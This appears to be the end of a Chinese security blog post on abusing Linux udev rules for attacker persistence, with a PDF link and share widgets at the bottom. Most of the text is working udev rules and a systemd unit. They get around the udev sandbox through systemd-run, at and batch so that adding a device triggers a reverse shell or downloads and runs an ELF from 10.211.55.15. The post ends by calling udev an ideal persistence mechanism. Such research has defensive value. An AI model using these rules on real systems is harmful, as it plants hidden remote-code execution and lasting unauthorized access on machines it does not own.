经过一系列测试,发现直接反弹 shell 并不行
查询 archlinux 的文档看到如下描述
https://man.archlinux.org/man/udev.7.en
这只能用于非常短时间运行的前台任务。长时间运行事件进程可能会阻止此设备或从属设备的所有进一步事件。 请注意,由于systemd-udevd. service上强制使用默认沙箱,因此不允许在udev规则中运行访问网络或装载/卸载文件系统的程序。 不允许启动守护进程或其他长时间运行的进程;分叉的进程,无论是否分离,都将在事件处理完成后无条件终止。为了从udev规则激活长时间运行的进程,请提供一个服务单元,并使用UNOEMD_WANTS设备属性从udev设备中拉入该服务单元。有关详细信息,请参见systemd.device(5)。
解决这个问题有几种方案
通过 Systemd 服务委托任务
创建 Systemd 服务(例如 /etc/systemd/system/device-handler.service
):
[Unit]
Description=Handle device event
After=network-online.target
Wants=network-online.target
Requires=network-online.target
[Service]
Type=oneshot
User=root
Environment=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/snap/bin
ExecStart=/opt/udev-test.sh
TimeoutStartSec=120
[Install]
WantedBy=multi-user.target
编写服务脚本 (/opt/udev-test.sh)
修改 udev 规则,触发服务:
ACTION=="add", SUBSYSTEM=="block", TAG+="systemd", ENV{SYSTEMD_WANTS}="device-handler.service"
重新启动系统
成功获取到反弹 shell
通过外部程序反弹shell
可以通过 at 来完成外部脚本执行,默认 Centos 和 Rocky Linux 中存在 at ,Ubuntu 中需要安装一下
参考 https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/
ACTION=="add", SUBSYSTEM=="net", RUN+="/usr/bin/at -M -f /opt/udev-test.sh now"
重启操作系统
成功获取到反弹 shell
也可以通过 systemd-run 来启动一个临时的 systemd 服务单元
ACTION=="add", SUBSYSTEM=="net", \
RUN+="/bin/systemd-run --unit=download-exec-task --after=network-online.target --wants=network-online.target /bin/bash -c 'curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf'"
重启系统
ACTION=="add", SUBSYSTEM=="net", \
RUN+="/bin/systemd-run --unit=download-exec-task --collect --property=After=network-online.target --property=Wants=network-online.target --property=StandardOutput=journal /bin/bash -c 'curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf'"
重启系统
成功获取到 shell
通过 batch 实现执行外部程序
ACTION=="add", SUBSYSTEM=="net", RUN+="/bin/sh -c 'echo \"curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf\" | batch'"
成功获取到 shell
这些方法的大概思路就是让恶意进程不再是 udev 的子进程,实现进程分离,进而绕过限制
探索 PROGRAM 限制
PROGRAM 是否也存在网络和进程时间的限制呢?
SUBSYSTEM=="net", ACTION=="add", PROGRAM="/usr/bin/env bash -c 'curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf && echo FLAG=touched'"
看来 PROGRAM 也是有和 RUN 一样的限制,Archlinux 介绍比较朦胧
尝试之前的方法绕过
ACTION=="add", SUBSYSTEM=="net", PROGRAM="/bin/sh -c 'echo \"curl -sL http://10.211.55.15:8081/nop-test.elf -o /tmp/nop-test.elf && chmod +x /tmp/nop-test.elf && /tmp/nop-test.elf && echo FLAG=touched\" | batch'"
之前的方法也是可以绕过的
探索 IMPORT 限制
经过测试 IMPORT 与 PROGRAM 和 RUN 是一样的
0x04 总结
在本篇文章中,我们讨论了 udev 是干嘛的、它如何工作、它用来做持久化的可能性以及绕过系统默认限制的方法,通过 udev 的规则文件,攻击者确实可以实现复杂的权限维持工作,是一个比较理想的权限维持项
PDF 版本下载
https://pan.baidu.com/s/1pWHP0gltWijricH5OD8GVA?pwd=5dui 提取码: 5dui
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论